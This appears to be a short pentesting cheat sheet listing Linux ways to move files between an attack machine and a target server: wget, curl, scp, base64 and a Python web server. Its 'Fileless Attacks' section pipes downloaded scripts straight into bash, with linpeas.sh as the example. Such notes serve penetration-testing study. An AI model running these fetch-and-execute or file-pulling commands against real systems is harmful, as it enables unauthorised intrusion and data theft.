# Linux

* **wget**
  * wget [http://ip:port/file](about:blank)
* **curl**
  * curl [http://ip:port/file](about:blank) -o file
* **ssh (ssh only)**
  * From attack\_machine to remote server:
    * scp \<path to file wanted to transfer> user\@ip\:/\<directory on the system>
  * From remote server to attack\_machine
    * scp user\@ip\:/path/to/file .
* **Base64**
  1. base64 (file)
  2. echo "base64 contents" | base64 -d > output\_file
* **Python Web Server**
  1. python3 -m http.server
  2. ifconfig and grab the right ip
  3. run the wget/curl commands on the other system
* **Fileless Attacks**
  * curl/wget [http://ip:port/file](https://xenon-cyber-docs.gitbook.io/pentesting-checklist/tips-and-tricks/transferring-files/http:/ip:port/file) | (bash, python3, command to execute the script)
  * Ex: wget [https://github.com/carlospolop/PEASS-ng/releases/download/20221106/linpeas.sh | bash](https://github.com/carlospolop/PEASS-ng/releases/download/20221106/linpeas.sh)
